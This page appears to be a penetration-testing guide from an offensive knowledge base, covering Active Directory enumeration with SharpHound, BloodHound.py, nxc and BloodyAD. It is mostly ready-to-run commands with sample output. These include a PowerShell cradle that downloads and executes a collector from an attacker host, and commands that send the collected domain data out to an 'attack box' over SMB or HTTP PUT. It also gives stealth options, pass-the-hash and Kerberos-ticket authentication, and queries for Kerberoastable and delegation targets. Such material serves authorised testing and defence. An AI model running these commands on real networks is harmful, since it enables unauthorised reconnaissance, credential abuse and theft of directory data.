# BloodHound and SharpHound Collection

> Covers deploying SharpHound to collect AD relationship data and ingesting results into BloodHound to visualise attack paths and privilege escalation routes.

- **URL:** https://hackindex.io/platforms/active-directory/enumeration/bloodhound-and-sharphound-collection
- **Path:** Active Directory > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/active-directory/enumeration.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

BloodHound maps attack paths through Active Directory by collecting relationships between users, computers, groups, and ACLs and visualising the shortest path to Domain Admin. SharpHound is the Windows-based collector. BloodHound.py and other tools handle collection from Linux. The output is a ZIP of JSON files that loads directly into BloodHound.

## SharpHound: Windows collection

SharpHound runs on a domain-joined host or from any host with domain credentials. It contacts the DC and domain hosts directly to collect session, trust, ACL, and object data. On Kali: `/usr/share/sharphound/SharpHound.exe`

**SharpHound collection methods**

```powershell
# Full collection: all methods (noisiest, most complete)
C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh

# DC only: queries only the DC, no lateral host queries (stealthier)
C:\Windows\Temp\SharpHound.exe -c DCOnly --outputdirectory C:\Windows\Temp\bh

# Specific methods
C:\Windows\Temp\SharpHound.exe -c ACL,ObjectProps,Trusts --outputdirectory C:\Windows\Temp\bh

# Stealth: randomise delay between requests
C:\Windows\Temp\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp\bh

# Run with specific domain credentials
C:\Windows\Temp\SharpHound.exe -c All --domain $DOMAIN --ldapusername $USER --ldappassword $PASSWORD --outputdirectory C:\Windows\Temp\bh

# Load from memory: no binary on disk
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp\bh
# [+] Creating randomized filenames
# [+] Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
# [+] Initializing SharpHound at 14:23:01 on 04/05/2026
# [+] Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
# [+] Finished enumeration for CORP.LOCAL in 00:00:14.1337
# [+] Zipping files to C:\Windows\Temp\bh\20260405142315_BloodHound.zip
```

Collection methods explained:

- `All`: everything, queries domain hosts for local admins and sessions (noisy)
- `DCOnly`: only queries the DC via LDAP, no host-to-host traffic (stealthy, misses session data)
- `ACL`: ACL relationships only: the most valuable for privilege escalation path finding
- `Session`: where users are currently logged in (requires connecting to each host)
- `ObjectProps`: user and computer properties from LDAP

## Transfer the ZIP to your attack box

**Transfer BloodHound ZIP**

```powershell
# Via SMB to attack box
copy C:\Windows\Temp\bh\*.zip \\$LHOST\share\

# Via HTTP PUT
$wc = New-Object System.Net.WebClient
$wc.UploadFile('http://$LHOST:8080/bh.zip', 'PUT', 'C:\Windows\Temp\bh\20260405142315_BloodHound.zip')

# Via base64 encode and paste
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\bh\20260405142315_BloodHound.zip'))
```

## BloodHound.py: collection from Linux

BloodHound.py collects from Linux without needing a Windows foothold. It communicates directly with the DC over LDAP and SMB using any valid domain credentials.

**BloodHound.py collection**

```bash
# Install
pipx install bloodhound

# Full collection
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All

# DC only: stealthier, no host queries
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c DCOnly

# With Pass-the-Hash
bloodhound-python -d $DOMAIN -u $USER --hashes :$NTHASH -dc $TARGET_IP -c All

# With Kerberos ticket
export KRB5CCNAME=$USER.ccache
bloodhound-python -d $DOMAIN -u $USER -dc $TARGET_IP -c All -k --no-pass

# Specify nameserver (when DNS does not resolve domain names)
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All --dns-tcp -ns $TARGET_IP

# Output to specific directory
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All -o /tmp/bh_output/
# INFO: Found AD domain: corp.local
# INFO: Connecting to LDAP server: 10.10.10.10
# INFO: Found 1 domains
# INFO: Found 3 computers
# INFO: Found 24 users
# INFO: Found 15 groups
# INFO: Done in 00M 12S
```

## nxc BloodHound collection

nxc runs its own built-in BloodHound ingestor over LDAP from the attacker machine using valid domain credentials: no shell on the target host is required.

**BloodHound collection via nxc**

```bash
# Run SharpHound remotely via nxc and retrieve ZIP
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --bloodhound --collection All

# DC only collection
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --bloodhound --collection DCOnly

# Output saved to current directory as ZIP
ls *.zip
# LDAP  10.10.10.10  389  DC01  [*] Compressing output into 20260405_BloodHound.zip
# LDAP  10.10.10.10  389  DC01  [+] 20260405_BloodHound.zip written to current directory
```

## BloodyAD: targeted collection without ZIP

BloodyAD does not produce BloodHound ZIPs but its `get writable` and `get search` queries cover the most actionable enumeration (writable objects and delegation targets) without the overhead of a full BloodHound run.

**BloodyAD targeted ACL and object collection**

```bash
# What can current user write
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail

# Unconstrained delegation targets
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName

# Kerberoastable accounts
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr 'sAMAccountName,servicePrincipalName'
```

## BloodHound Community Edition (CE)

BloodHound CE is the current maintained version. It replaces the legacy Electron app and neo4j-only setup with a containerised stack and a web UI.

### Starting BloodHound CE

On Kali, CE ships via Docker Compose:

```bash
curl -L https://ghst.ly/getbhce | docker compose -f - up
```

First-run credentials are printed to stdout: look for `Initial Password Set To:`. The web UI opens at `http://localhost:8080`.

If you have the standalone `bloodhound` package installed (legacy), start it with:

```bash
sudo neo4j start
bloodhound
```

CE and legacy are separate installs. CE is the default going forward.

### Collecting for CE

SharpHound output (ZIP) is CE-compatible since v2.0: no changes needed. `bloodhound-ce-python` produces CE-compatible output (install via `pipx install bloodhound-ce`). The default `bloodhound-python` command targets legacy BloodHound 4.x only:

```bash
bloodhound-ce-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All
```

Without `--zip`, bloodhound-python writes individual JSON files. CE accepts both: drag the ZIP or folder into the web UI upload at `http://localhost:8080`.

### Uploading to CE

In the CE web UI: **Administration → File Ingest → Upload Files**. Drag the ZIP or individual JSON files. CE processes them in the background: check status under **Administration → File Ingest Status**.

## Loading and analysing in BloodHound

After collection, load the ZIP into BloodHound and run these queries first to identify the most direct attack paths.

- **Shortest Paths to Domain Admins**: fewest hops from your current account to DA
- **Find Principals with DCSync Rights**: accounts that can dump all domain hashes without being DA
- **Shortest Path from Owned Principals**: mark your account as owned first, then run this
- **Find Computers with Unconstrained Delegation**: coercion targets for TGT theft: see [Unconstrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse)
- **Find AS-REP Roastable Users**: accounts with pre-auth disabled: see [AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting)
- **Find Kerberoastable Users in High Value Groups**: high-impact SPN accounts: see [Kerberoasting](https://hackindex.io/platforms/active-directory/exploitation/kerberoasting)

For acting on what BloodHound finds see [Active Directory ACL Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration) and [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation).

Related

## References

- [SharpHound: GitHub](https://github.com/BloodHoundAD/SharpHound) - Collection methods, flags, and output format reference
- [BloodHound.py: GitHub](https://github.com/dirkjanm/BloodHound.py) - Linux-based collection, authentication options
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - Remote BloodHound collection via --bloodhound flag